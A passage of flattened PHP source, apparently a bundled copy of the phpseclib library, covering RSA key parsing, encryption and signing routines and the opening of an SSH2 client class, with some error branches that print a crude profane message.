"Proc-Type: 4,ENCRYPTED\r\n" . "DEK-Info: DES-EDE3-CBC,$iv\r\n" . "\r\n" . chunk_split(base64_encode($des->encrypt($RSAPrivateKey))) . '-----END RSA PRIVATE KEY-----'; } else { $RSAPrivateKey = "-----BEGIN RSA PRIVATE KEY-----\r\n" . chunk_split(base64_encode($RSAPrivateKey)) . '-----END RSA PRIVATE KEY-----'; } return $RSAPrivateKey; } } function _convertPublicKey($n, $e) { $modulus = $n->toBytes(true); $publicExponent = $e->toBytes(true); switch ($this->publicKeyFormat) { case CRYPT_RSA_PUBLIC_FORMAT_RAW: return array( 'e' => $e->copy() , 'n' => $n->copy() ); case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH: $RSAPublicKey = pack('Na*Na*Na*', strlen('ssh-rsa') , 'ssh-rsa', strlen($publicExponent) , $publicExponent, strlen($modulus) , $modulus); $RSAPublicKey = 'ssh-rsa ' . base64_encode($RSAPublicKey) . ' ' . CRYPT_RSA_COMMENT; return $RSAPublicKey; default: $components = array( 'modulus' => pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($modulus)) , $modulus) , 'publicExponent' => pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($publicExponent)) , $publicExponent) ); $RSAPublicKey = pack('Ca*a*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($components['modulus']) + strlen($components['publicExponent'])) , $components['modulus'], $components['publicExponent']); $RSAPublicKey = "-----BEGIN PUBLIC KEY-----\r\n" . chunk_split(base64_encode($RSAPublicKey)) . '-----END PUBLIC KEY-----'; return $RSAPublicKey; } } function _parseKey($key, $type) { switch ($type) { case CRYPT_RSA_PUBLIC_FORMAT_RAW: if (!is_array($key)) { return false; } $components = array(); switch (true) { case isset($key['e']): $components['publicExponent'] = $key['e']->copy(); break; case isset($key['exponent']): $components['publicExponent'] = $key['exponent']->copy(); break; case isset($key['publicExponent']): $components['publicExponent'] = $key['publicExponent']->copy(); break; case isset($key[0]): $components['publicExponent'] = $key[0]->copy(); } switch (true) { case isset($key['n']): $components['modulus'] = $key['n']->copy(); break; case isset($key['modulo']): $components['modulus'] = $key['modulo']->copy(); break; case isset($key['modulus']): $components['modulus'] = $key['modulus']->copy(); break; case isset($key[1]): $components['modulus'] = $key[1]->copy(); } return $components; case CRYPT_RSA_PRIVATE_FORMAT_PKCS1: case CRYPT_RSA_PUBLIC_FORMAT_PKCS1: if (preg_match('#DEK-Info: (.+),(.+)#', $key, $matches)) { $iv = pack('H*', trim($matches[2])); $symkey = pack('H*', md5($this->password . substr($iv, 0, 8))); $symkey.= substr(pack('H*', md5($symkey . $this->password . $iv)) , 0, 8); $ciphertext = preg_replace('#.+(\r|\n|\r\n)\1|[\r\n]|-.+-#s', '', $key); $ciphertext = preg_match('#^[a-zA-Z\d/+]*={0,2}$#', $ciphertext) ? base64_decode($ciphertext) : false; if ($ciphertext === false) { $ciphertext = $key; } switch ($matches[1]) { case 'AES-128-CBC': if (!class_exists('Crypt_AES')) { echo "your fucked"; exit; } $symkey = substr($symkey, 0, 16); $crypto = new Crypt_AES(); break; case 'DES-EDE3-CFB': if (!class_exists('Crypt_TripleDES')) { echo "your fucked"; exit; } $crypto = new Crypt_TripleDES(CRYPT_DES_MODE_CFB); break; case 'DES-EDE3-CBC': if (!class_exists('Crypt_TripleDES')) { echo "your fucked"; exit; } $crypto = new Crypt_TripleDES(); break; case 'DES-CBC': if (!class_exists('Crypt_DES')) { echo "your fucked"; exit; } $crypto = new Crypt_DES(); break; default: return false; } $crypto->setKey($symkey); $crypto->setIV($iv); $decoded = $crypto->decrypt($ciphertext); } else { $decoded = preg_replace('#-.+-|[\r\n]#', '', $key); $decoded = preg_match('#^[a-zA-Z\d/+]*={0,2}$#', $decoded) ? base64_decode($decoded) : false; } if ($decoded !== false) { $key = $decoded; } $components = array(); if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } if ($this->_decodeLength($key) != strlen($key)) { return false; } $tag = ord($this->_string_shift($key)); if ($tag == CRYPT_RSA_ASN1_SEQUENCE) { $this->_string_shift($key, $this->_decodeLength($key)); $this->_string_shift($key); $this->_decodeLength($key); $this->_string_shift($key); if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } if ($this->_decodeLength($key) != strlen($key)) { return false; } $tag = ord($this->_string_shift($key)); } if ($tag != CRYPT_RSA_ASN1_INTEGER) { return false; } $length = $this->_decodeLength($key); $temp = $this->_string_shift($key, $length); if (strlen($temp) != 1 || ord($temp) > 2) { $components['modulus'] = new Math_BigInteger($temp, -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components[$type == CRYPT_RSA_PUBLIC_FORMAT_PKCS1 ? 'publicExponent' : 'privateExponent'] = new Math_BigInteger($this->_string_shift($key, $length) , -256); return $components; } if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_INTEGER) { return false; } $length = $this->_decodeLength($key); $components['modulus'] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['publicExponent'] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['privateExponent'] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['primes'] = array( 1 => new Math_BigInteger($this->_string_shift($key, $length) , -256) ); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['primes'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['exponents'] = array( 1 => new Math_BigInteger($this->_string_shift($key, $length) , -256) ); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['exponents'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['coefficients'] = array( 2 => new Math_BigInteger($this->_string_shift($key, $length) , -256) ); if (!empty($key)) { if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } $this->_decodeLength($key); while (!empty($key)) { if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } $this->_decodeLength($key); $key = substr($key, 1); $length = $this->_decodeLength($key); $components['primes'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['exponents'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['coefficients'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); } } return $components; case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH: $key = base64_decode(preg_replace('#^ssh-rsa | .+$#', '', $key)); if ($key === false) { return false; } $cleanup = substr($key, 0, 11) == "\0\0\0\7ssh-rsa"; extract(unpack('Nlength', $this->_string_shift($key, 4))); $publicExponent = new Math_BigInteger($this->_string_shift($key, $length) , -256); extract(unpack('Nlength', $this->_string_shift($key, 4))); $modulus = new Math_BigInteger($this->_string_shift($key, $length) , -256); if ($cleanup && strlen($key)) { extract(unpack('Nlength', $this->_string_shift($key, 4))); return array( 'modulus' => new Math_BigInteger($this->_string_shift($key, $length) , -256) , 'publicExponent' => $modulus ); } else { return array( 'modulus' => $modulus, 'publicExponent' => $publicExponent ); } case CRYPT_RSA_PRIVATE_FORMAT_XML: case CRYPT_RSA_PUBLIC_FORMAT_XML: $this->components = array(); $xml = xml_parser_create('UTF-8'); xml_set_object($xml, $this); xml_set_element_handler($xml, '_start_element_handler', '_stop_element_handler'); xml_set_character_data_handler($xml, '_data_handler'); if (!xml_parse($xml, $key)) { return false; } return $this->components; case CRYPT_RSA_PRIVATE_FORMAT_PUTTY: $components = array(); $key = preg_split('#\r\n|\r|\n#', $key); $type = trim(preg_replace('#PuTTY-User-Key-File-2: (.+)#', '$1', $key[0])); if ($type != 'ssh-rsa') { return false; } $encryption = trim(preg_replace('#Encryption: (.+)#', '$1', $key[1])); $publicLength = trim(preg_replace('#Public-Lines: (\d+)#', '$1', $key[3])); $public = base64_decode(implode('', array_map('trim', array_slice($key, 4, $publicLength)))); $public = substr($public, 11); extract(unpack('Nlength', $this->_string_shift($public, 4))); $components['publicExponent'] = new Math_BigInteger($this->_string_shift($public, $length) , -256); extract(unpack('Nlength', $this->_string_shift($public, 4))); $components['modulus'] = new Math_BigInteger($this->_string_shift($public, $length) , -256); $privateLength = trim(preg_replace('#Private-Lines: (\d+)#', '$1', $key[$publicLength + 4])); $private = base64_decode(implode('', array_map('trim', array_slice($key, $publicLength + 5, $privateLength)))); switch ($encryption) { case 'aes256-cbc': if (!class_exists('Crypt_AES')) { echo 'your fucked'; exit; } $symkey = ''; $sequence = 0; while (strlen($symkey) < 32) { $temp = pack('Na*', $sequence++, $this->password); $symkey.= pack('H*', sha1($temp)); } $symkey = substr($symkey, 0, 32); $crypto = new Crypt_AES(); } if ($encryption != 'none') { $crypto->setKey($symkey); $crypto->disablePadding(); $private = $crypto->decrypt($private); if ($private === false) { return false; } } extract(unpack('Nlength', $this->_string_shift($private, 4))); $components['privateExponent'] = new Math_BigInteger($this->_string_shift($private, $length) , -256); extract(unpack('Nlength', $this->_string_shift($private, 4))); $components['primes'] = array( 1 => new Math_BigInteger($this->_string_shift($private, $length) , -256) ); extract(unpack('Nlength', $this->_string_shift($private, 4))); $components['primes'][] = new Math_BigInteger($this->_string_shift($private, $length) , -256); $temp = $components['primes'][1]->subtract($this->one); $components['exponents'] = array( 1 => $components['publicExponent']->modInverse($temp) ); $temp = $components['primes'][2]->subtract($this->one); $components['exponents'][] = $components['publicExponent']->modInverse($temp); extract(unpack('Nlength', $this->_string_shift($private, 4))); $components['coefficients'] = array( 2 => new Math_BigInteger($this->_string_shift($private, $length) , -256) ); return $components; } } function _start_element_handler($parser, $name, $attribs) { switch ($name) { case 'MODULUS': $this->current = & $this->components['modulus']; break; case 'EXPONENT': $this->current = & $this->components['publicExponent']; break; case 'P': $this->current = & $this->components['primes'][1]; break; case 'Q': $this->current = & $this->components['primes'][2]; break; case 'DP': $this->current = & $this->components['exponents'][1]; break; case 'DQ': $this->current = & $this->components['exponents'][2]; break; case 'INVERSEQ': $this->current = & $this->components['coefficients'][2]; break; case 'D': $this->current = & $this->components['privateExponent']; break; default: unset($this->current); } $this->current = ''; } function _stop_element_handler($parser, $name) { if ($name == 'RSAKEYVALUE') { return; } $this->current = new Math_BigInteger(base64_decode($this->current) , 256); } function _data_handler($parser, $data) { if (!isset($this->current) || is_object($this->current)) { return; } $this->current.= trim($data); } function loadKey($key, $type = false) { if ($type === false) { $types = array( CRYPT_RSA_PUBLIC_FORMAT_RAW, CRYPT_RSA_PRIVATE_FORMAT_PKCS1, CRYPT_RSA_PRIVATE_FORMAT_XML, CRYPT_RSA_PRIVATE_FORMAT_PUTTY, CRYPT_RSA_PUBLIC_FORMAT_OPENSSH ); foreach($types as $type) { $components = $this->_parseKey($key, $type); if ($components !== false) { break; } } } else { $components = $this->_parseKey($key, $type); } if ($components === false) { return false; } $this->modulus = $components['modulus']; $this->k = strlen($this->modulus->toBytes()); $this->exponent = isset($components['privateExponent']) ? $components['privateExponent'] : $components['publicExponent']; if (isset($components['primes'])) { $this->primes = $components['primes']; $this->exponents = $components['exponents']; $this->coefficients = $components['coefficients']; $this->publicExponent = $components['publicExponent']; } else { $this->primes = array(); $this->exponents = array(); $this->coefficients = array(); $this->publicExponent = false; } return true; } function setPassword($password) { $this->password = $password; } function setPublicKey($key, $type = CRYPT_RSA_PUBLIC_FORMAT_PKCS1) { $components = $this->_parseKey($key, $type); if (empty($this->modulus) || !$this->modulus->equals($components['modulus'])) { user_error('Trying to load a public key? Use loadKey() instead. It\'s called loadKey() and not loadPrivateKey() for a reason.', E_USER_NOTICE); return false; } $this->publicExponent = $components['publicExponent']; return true; } function getPublicKey($type = CRYPT_RSA_PUBLIC_FORMAT_PKCS1) { if (empty($this->modulus) || empty($this->publicExponent)) { return false; } $oldFormat = $this->publicKeyFormat; $this->publicKeyFormat = $type; $temp = $this->_convertPublicKey($this->modulus, $this->publicExponent); $this->publicKeyFormat = $oldFormat; return $temp; } function _generateMinMax($bits) { $bytes = $bits >> 3; $min = str_repeat(chr(0) , $bytes); $max = str_repeat(chr(0xFF) , $bytes); $msb = $bits & 7; if ($msb) { $min = chr(1 << ($msb - 1)) . $min; $max = chr((1 << $msb) - 1) . $max; } else { $min[0] = chr(0x80); } return array( 'min' => new Math_BigInteger($min, 256) , 'max' => new Math_BigInteger($max, 256) ); } function _decodeLength(&$string) { $length = ord($this->_string_shift($string)); if ($length & 0x80) { $length&= 0x7F; $temp = $this->_string_shift($string, $length); list(, $length) = unpack('N', substr(str_pad($temp, 4, chr(0) , STR_PAD_LEFT) , -4)); } return $length; } function _encodeLength($length) { if ($length <= 0x7F) { return chr($length); } $temp = ltrim(pack('N', $length) , chr(0)); return pack('Ca*', 0x80 | strlen($temp) , $temp); } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } function setPrivateKeyFormat($format) { $this->privateKeyFormat = $format; } function setPublicKeyFormat($format) { $this->publicKeyFormat = $format; } function setHash($hash) { switch ($hash) { case 'md2': case 'md5': case 'sha1': case 'sha256': case 'sha384': case 'sha512': $this->hash = new Crypt_Hash($hash); $this->hashName = $hash; break; default: $this->hash = new Crypt_Hash('sha1'); $this->hashName = 'sha1'; } $this->hLen = $this->hash->getLength(); } function setMGFHash($hash) { switch ($hash) { case 'md2': case 'md5': case 'sha1': case 'sha256': case 'sha384': case 'sha512': $this->mgfHash = new Crypt_Hash($hash); break; default: $this->mgfHash = new Crypt_Hash('sha1'); } $this->mgfHLen = $this->mgfHash->getLength(); } function setSaltLength($sLen) { $this->sLen = $sLen; } function _random($bytes, $nonzero = false) { $temp = ''; if ($nonzero) { for ($i = 0; $i < $bytes; $i++) { $temp.= chr(crypt_random(1, 255)); } } else { $ints = ($bytes + 1) >> 2; for ($i = 0; $i < $ints; $i++) { $temp.= pack('N', crypt_random()); } $temp = substr($temp, 0, $bytes); } return $temp; } function _i2osp($x, $xLen) { $x = $x->toBytes(); if (strlen($x) > $xLen) { user_error('Integer too large', E_USER_NOTICE); return false; } return str_pad($x, $xLen, chr(0) , STR_PAD_LEFT); } function _os2ip($x) { return new Math_BigInteger($x, 256); } function _exponentiate($x) { if (empty($this->primes) || empty($this->coefficients) || empty($this->exponents)) { return $x->modPow($this->exponent, $this->modulus); } $num_primes = count($this->primes); if (defined('CRYPT_RSA_DISABLE_BLINDING')) { $m_i = array( 1 => $x->modPow($this->exponents[1], $this->primes[1]) , 2 => $x->modPow($this->exponents[2], $this->primes[2]) ); $h = $m_i[1]->subtract($m_i[2]); $h = $h->multiply($this->coefficients[2]); list(, $h) = $h->divide($this->primes[1]); $m = $m_i[2]->add($h->multiply($this->primes[2])); $r = $this->primes[1]; for ($i = 3; $i <= $num_primes; $i++) { $m_i = $x->modPow($this->exponents[$i], $this->primes[$i]); $r = $r->multiply($this->primes[$i - 1]); $h = $m_i->subtract($m); $h = $h->multiply($this->coefficients[$i]); list(, $h) = $h->divide($this->primes[$i]); $m = $m->add($r->multiply($h)); } } else { $smallest = $this->primes[1]; for ($i = 2; $i <= $num_primes; $i++) { if ($smallest->compare($this->primes[$i]) > 0) { $smallest = $this->primes[$i]; } } $one = new Math_BigInteger(1); $one->setRandomGenerator('crypt_random'); $r = $one->random($one, $smallest->subtract($one)); $m_i = array( 1 => $this->_blind($x, $r, 1) , 2 => $this->_blind($x, $r, 2) ); $h = $m_i[1]->subtract($m_i[2]); $h = $h->multiply($this->coefficients[2]); list(, $h) = $h->divide($this->primes[1]); $m = $m_i[2]->add($h->multiply($this->primes[2])); $r = $this->primes[1]; for ($i = 3; $i <= $num_primes; $i++) { $m_i = $this->_blind($x, $r, $i); $r = $r->multiply($this->primes[$i - 1]); $h = $m_i->subtract($m); $h = $h->multiply($this->coefficients[$i]); list(, $h) = $h->divide($this->primes[$i]); $m = $m->add($r->multiply($h)); } } return $m; } function _blind($x, $r, $i) { $x = $x->multiply($r->modPow($this->publicExponent, $this->primes[$i])); $x = $x->modPow($this->exponents[$i], $this->primes[$i]); $r = $r->modInverse($this->primes[$i]); $x = $x->multiply($r); list(, $x) = $x->divide($this->primes[$i]); return $x; } function _rsaep($m) { if ($m->compare($this->zero) < 0 || $m->compare($this->modulus) > 0) { user_error('Message representative out of range', E_USER_NOTICE); return false; } return $this->_exponentiate($m); } function _rsadp($c) { if ($c->compare($this->zero) < 0 || $c->compare($this->modulus) > 0) { user_error('Ciphertext representative out of range', E_USER_NOTICE); return false; } return $this->_exponentiate($c); } function _rsasp1($m) { if ($m->compare($this->zero) < 0 || $m->compare($this->modulus) > 0) { user_error('Message representative out of range', E_USER_NOTICE); return false; } return $this->_exponentiate($m); } function _rsavp1($s) { if ($s->compare($this->zero) < 0 || $s->compare($this->modulus) > 0) { user_error('Signature representative out of range', E_USER_NOTICE); return false; } return $this->_exponentiate($s); } function _mgf1($mgfSeed, $maskLen) { $t = ''; $count = ceil($maskLen / $this->mgfHLen); for ($i = 0; $i < $count; $i++) { $c = pack('N', $i); $t.= $this->mgfHash->hash($mgfSeed . $c); } return substr($t, 0, $maskLen); } function _rsaes_oaep_encrypt($m, $l = '') { $mLen = strlen($m); if ($mLen > $this->k - 2 * $this->hLen - 2) { user_error('Message too long', E_USER_NOTICE); return false; } $lHash = $this->hash->hash($l); $ps = str_repeat(chr(0) , $this->k - $mLen - 2 * $this->hLen - 2); $db = $lHash . $ps . chr(1) . $m; $seed = $this->_random($this->hLen); $dbMask = $this->_mgf1($seed, $this->k - $this->hLen - 1); $maskedDB = $db ^ $dbMask; $seedMask = $this->_mgf1($maskedDB, $this->hLen); $maskedSeed = $seed ^ $seedMask; $em = chr(0) . $maskedSeed . $maskedDB; $m = $this->_os2ip($em); $c = $this->_rsaep($m); $c = $this->_i2osp($c, $this->k); return $c; } function _rsaes_oaep_decrypt($c, $l = '') { if (strlen($c) != $this->k || $this->k < 2 * $this->hLen + 2) { user_error('Decryption error', E_USER_NOTICE); return false; } $c = $this->_os2ip($c); $m = $this->_rsadp($c); if ($m === false) { user_error('Decryption error', E_USER_NOTICE); return false; } $em = $this->_i2osp($m, $this->k); $lHash = $this->hash->hash($l); $y = ord($em[0]); $maskedSeed = substr($em, 1, $this->hLen); $maskedDB = substr($em, $this->hLen + 1); $seedMask = $this->_mgf1($maskedDB, $this->hLen); $seed = $maskedSeed ^ $seedMask; $dbMask = $this->_mgf1($seed, $this->k - $this->hLen - 1); $db = $maskedDB ^ $dbMask; $lHash2 = substr($db, 0, $this->hLen); $m = substr($db, $this->hLen); if ($lHash != $lHash2) { user_error('Decryption error', E_USER_NOTICE); return false; } $m = ltrim($m, chr(0)); if (ord($m[0]) != 1) { user_error('Decryption error', E_USER_NOTICE); return false; } return substr($m, 1); } function _rsaes_pkcs1_v1_5_encrypt($m) { $mLen = strlen($m); if ($mLen > $this->k - 11) { user_error('Message too long', E_USER_NOTICE); return false; } $ps = $this->_random($this->k - $mLen - 3, true); $em = chr(0) . chr(2) . $ps . chr(0) . $m; $m = $this->_os2ip($em); $c = $this->_rsaep($m); $c = $this->_i2osp($c, $this->k); return $c; } function _rsaes_pkcs1_v1_5_decrypt($c) { if (strlen($c) != $this->k) { user_error('Decryption error', E_USER_NOTICE); return false; } $c = $this->_os2ip($c); $m = $this->_rsadp($c); if ($m === false) { user_error('Decryption error', E_USER_NOTICE); return false; } $em = $this->_i2osp($m, $this->k); if (ord($em[0]) != 0 || ord($em[1]) > 2) { user_error('Decryption error', E_USER_NOTICE); return false; } $ps = substr($em, 2, strpos($em, chr(0) , 2) - 2); $m = substr($em, strlen($ps) + 3); if (strlen($ps) < 8) { user_error('Decryption error', E_USER_NOTICE); return false; } return $m; } function _emsa_pss_encode($m, $emBits) { $emLen = ($emBits + 1) >> 3; $sLen = $this->sLen == false ? $this->hLen : $this->sLen; $mHash = $this->hash->hash($m); if ($emLen < $this->hLen + $sLen + 2) { user_error('Encoding error', E_USER_NOTICE); return false; } $salt = $this->_random($sLen); $m2 = "\0\0\0\0\0\0\0\0" . $mHash . $salt; $h = $this->hash->hash($m2); $ps = str_repeat(chr(0) , $emLen - $sLen - $this->hLen - 2); $db = $ps . chr(1) . $salt; $dbMask = $this->_mgf1($h, $emLen - $this->hLen - 1); $maskedDB = $db ^ $dbMask; $maskedDB[0] = ~ chr(0xFF << ($emBits & 7)) & $maskedDB[0]; $em = $maskedDB . $h . chr(0xBC); return $em; } function _emsa_pss_verify($m, $em, $emBits) { $emLen = ($emBits + 1) >> 3; $sLen = $this->sLen == false ? $this->hLen : $this->sLen; $mHash = $this->hash->hash($m); if ($emLen < $this->hLen + $sLen + 2) { return false; } if ($em[strlen($em) - 1] != chr(0xBC)) { return false; } $maskedDB = substr($em, 0, -$this->hLen - 1); $h = substr($em, -$this->hLen - 1, $this->hLen); $temp = chr(0xFF << ($emBits & 7)); if ((~$maskedDB[0] & $temp) != $temp) { return false; } $dbMask = $this->_mgf1($h, $emLen - $this->hLen - 1); $db = $maskedDB ^ $dbMask; $db[0] = ~ chr(0xFF << ($emBits & 7)) & $db[0]; $temp = $emLen - $this->hLen - $sLen - 2; if (substr($db, 0, $temp) != str_repeat(chr(0) , $temp) || ord($db[$temp]) != 1) { return false; } $salt = substr($db, $temp + 1); $m2 = "\0\0\0\0\0\0\0\0" . $mHash . $salt; $h2 = $this->hash->hash($m2); return $h == $h2; } function _rsassa_pss_sign($m) { $em = $this->_emsa_pss_encode($m, 8 * $this->k - 1); $m = $this->_os2ip($em); $s = $this->_rsasp1($m); $s = $this->_i2osp($s, $this->k); return $s; } function _rsassa_pss_verify($m, $s) { if (strlen($s) != $this->k) { user_error('Invalid signature', E_USER_NOTICE); return false; } $modBits = 8 * $this->k; $s2 = $this->_os2ip($s); $m2 = $this->_rsavp1($s2); if ($m2 === false) { user_error('Invalid signature', E_USER_NOTICE); return false; } $em = $this->_i2osp($m2, $modBits >> 3); if ($em === false) { user_error('Invalid signature', E_USER_NOTICE); return false; } return $this->_emsa_pss_verify($m, $em, $modBits - 1); } function _emsa_pkcs1_v1_5_encode($m, $emLen) { $h = $this->hash->hash($m); if ($h === false) { return false; } switch ($this->hashName) { case 'md2': $t = pack('H*', '3020300c06082a864886f70d020205000410'); break; case 'md5': $t = pack('H*', '3020300c06082a864886f70d020505000410'); break; case 'sha1': $t = pack('H*', '3021300906052b0e03021a05000414'); break; case 'sha256': $t = pack('H*', '3031300d060960864801650304020105000420'); break; case 'sha384': $t = pack('H*', '3041300d060960864801650304020205000430'); break; case 'sha512': $t = pack('H*', '3051300d060960864801650304020305000440'); } $t.= $h; $tLen = strlen($t); if ($emLen < $tLen + 11) { user_error('Intended encoded message length too short', E_USER_NOTICE); return false; } $ps = str_repeat(chr(0xFF) , $emLen - $tLen - 3); $em = "\0\1$ps\0$t"; return $em; } function _rsassa_pkcs1_v1_5_sign($m) { $em = $this->_emsa_pkcs1_v1_5_encode($m, $this->k); if ($em === false) { user_error('RSA modulus too short', E_USER_NOTICE); return false; } $m = $this->_os2ip($em); $s = $this->_rsasp1($m); $s = $this->_i2osp($s, $this->k); return $s; } function _rsassa_pkcs1_v1_5_verify($m, $s) { if (strlen($s) != $this->k) { user_error('Invalid signature', E_USER_NOTICE); return false; } $s = $this->_os2ip($s); $m2 = $this->_rsavp1($s); if ($m2 === false) { user_error('Invalid signature', E_USER_NOTICE); return false; } $em = $this->_i2osp($m2, $this->k); if ($em === false) { user_error('Invalid signature', E_USER_NOTICE); return false; } $em2 = $this->_emsa_pkcs1_v1_5_encode($m, $this->k); if ($em2 === false) { user_error('RSA modulus too short', E_USER_NOTICE); return false; } return $em === $em2; } function setEncryptionMode($mode) { $this->encryptionMode = $mode; } function setSignatureMode($mode) { $this->signatureMode = $mode; } function encrypt($plaintext) { switch ($this->encryptionMode) { case CRYPT_RSA_ENCRYPTION_PKCS1: $length = $this->k - 11; if ($length <= 0) { return false; } $plaintext = str_split($plaintext, $length); $ciphertext = ''; foreach($plaintext as $m) { $ciphertext.= $this->_rsaes_pkcs1_v1_5_encrypt($m); } return $ciphertext; default: $length = $this->k - 2 * $this->hLen - 2; if ($length <= 0) { return false; } $plaintext = str_split($plaintext, $length); $ciphertext = ''; foreach($plaintext as $m) { $ciphertext.= $this->_rsaes_oaep_encrypt($m); } return $ciphertext; } } function decrypt($ciphertext) { if ($this->k <= 0) { return false; } $ciphertext = str_split($ciphertext, $this->k); $plaintext = ''; switch ($this->encryptionMode) { case CRYPT_RSA_ENCRYPTION_PKCS1: $decrypt = '_rsaes_pkcs1_v1_5_decrypt'; break; default: $decrypt = '_rsaes_oaep_decrypt'; } foreach($ciphertext as $c) { $temp = $this->$decrypt($c); if ($temp === false) { return false; } $plaintext.= $temp; } return $plaintext; } function sign($message) { if (empty($this->modulus) || empty($this->exponent)) { return false; } switch ($this->signatureMode) { case CRYPT_RSA_SIGNATURE_PKCS1: return $this->_rsassa_pkcs1_v1_5_sign($message); default: return $this->_rsassa_pss_sign($message); } } function verify($message, $signature) { if (empty($this->modulus) || empty($this->exponent)) { return false; } switch ($this->signatureMode) { case CRYPT_RSA_SIGNATURE_PKCS1: return $this->_rsassa_pkcs1_v1_5_verify($message, $signature); default: return $this->_rsassa_pss_verify($message, $signature); } } } define('NET_SSH2_MASK_CONSTRUCTOR', 0x00000001); define('NET_SSH2_MASK_LOGIN', 0x00000002); define('NET_SSH2_MASK_SHELL', 0x00000004); define('NET_SSH2_CHANNEL_EXEC', 0); define('NET_SSH2_CHANNEL_SHELL', 1); define('NET_SSH2_LOG_SIMPLE', 1); define('NET_SSH2_LOG_COMPLEX', 2); define('NET_SSH2_READ_SIMPLE', 1); define('NET_SSH2_READ_REGEX', 2); class Net_SSH2 { var $identifier = 'SSH-2.0-phpseclib_0.2'; var $fsock; var $bitmap = 0; var $errors = array(); var $server_identifier = ''; var $kex_algorithms; var $server_host_key_algorithms; var $encryption_algorithms_client_to_server; var $encryption_algorithms_server_to_client; var $mac_algorithms_client_to_server; var $mac_algorithms_server_to_client; var $compression_algorithms_client_to_server; var $compression_algorithms_server_to_client; var $languages_server_to_client; var $languages_client_to_server; var $encrypt_block_size = 8; var $decrypt_block_size = 8; var $decrypt = false; var $encrypt = false; var $hmac_create = false; var $hmac_check = false; var $hmac_size = false; var $server_public_host_key; var $session_id = false; var $exchange_hash = false; var $message_numbers = array(); var $disconnect_reasons = array(); var $channel_open_failure_reasons = array(); var $terminal_modes = array(); var $channel_extended_data_type_codes = array(); var $send_seq_no = 0; var $get_seq_no = 0; var $server_channels = array(); var $channel_buffers = array(); var $channel_status = array(); var $packet_size_client_to_server = array(); var $message_number_log = array(); var $message_log = array(); var $window_size = 0x7FFFFFFF; var $window_size_client_to_server = array(); var $signature = ''; var $signature_format = ''; var $interactiveBuffer = ''; function Net_SSH2($host, $port = 22, $timeout = 10) { $this->message_numbers = array( 1 => 'NET_SSH2_MSG_DISCONNECT', 2 => 'NET_SSH2_MSG_IGNORE', 3 => 'NET_SSH2_MSG_UNIMPLEMENTED', 4 => 'NET_SSH2_MSG_DEBUG', 5 => 'NET_SSH2_MSG_SERVICE_REQUEST', 6 => 'NET_SSH2_MSG_SERVICE_ACCEPT', 20 => 'NET_SSH2_MSG_KEXINIT', 21 => 'NET_SSH2_MSG_NEWKEYS', 30 => 'NET_SSH2_MSG_KEXDH_INIT', 31 => 'NET_SSH2_MSG_KEXDH_REPLY', 50 => 'NET_SSH2_MSG_USERAUTH_REQUEST', 51 => 'NET_SSH2_MSG_USERAUTH_FAILURE', 52 => 'NET_SSH2_MSG_USERAUTH_SUCCESS', 53 => 'NET_SSH2_MSG_USERAUTH_BANNER', 80 => 'NET_SSH2_MSG_GLOBAL_REQUEST', 81 => 'NET_SSH2_MSG_REQUEST_SUCCESS', 82 => 'NET_SSH2_MSG_REQUEST_FAILURE', 90 => 'NET_SSH2_MSG_CHANNEL_OPEN', 91 => 'NET_SSH2_MSG_CHANNEL_OPEN_CONFIRMATION', 92 => 'NET_SSH2_MSG_CHANNEL_OPEN_FAILURE', 93 => 'NET_SSH2_MSG_CHANNEL_WINDOW_ADJUST', 94 => 'NET_SSH2_MSG_CHANNEL_DATA', 95 => 'NET_SSH2_MSG_CHANNEL_EXTENDED_DATA', 96 => 'NET_SSH2_MSG_CHANNEL_EOF', 97 => 'NET_SSH2_MSG_CHANNEL_CLOSE', 98 => 'NET_SSH2_MSG_CHANNEL_REQUEST', 99 => 'NET_SSH2_MSG_CHANNEL_SUCCESS', 100 => 'NET_SSH2_MSG_CHANNEL_FAILURE' ); $this->disconnect_reasons = array( 1 => 'NET_SSH2_DISCONNECT_HOST_NOT_ALLOWED_TO_CONNECT', 2 => 'NET_SSH2_DISCONNECT_PROTOCOL_ERROR', 3 => 'NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED', 4 => 'NET_SSH2_DISCONNECT_RESERVED', 5 => 'NET_SSH2_DISCONNECT_MAC_ERROR', 6 => 'NET_SSH2_DISCONNECT_COMPRESSION_ERROR', 7 => 'NET_SSH2_DISCONNECT_SERVICE_NOT_AVAILABLE', 8 => 'NET_SSH2_DISCONNECT_PROTOCOL_VERSION_NOT_SUPPORTED', 9 => 'NET_SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE', 10 => 'NET_SSH2_DISCONNECT_CONNECTION_LOST', 11 => 'NET_SSH2_DISCONNECT_BY_APPLICATION', 12 => 'NET_SSH2_DISCONNECT_TOO_MANY_CONNECTIONS', 13 => 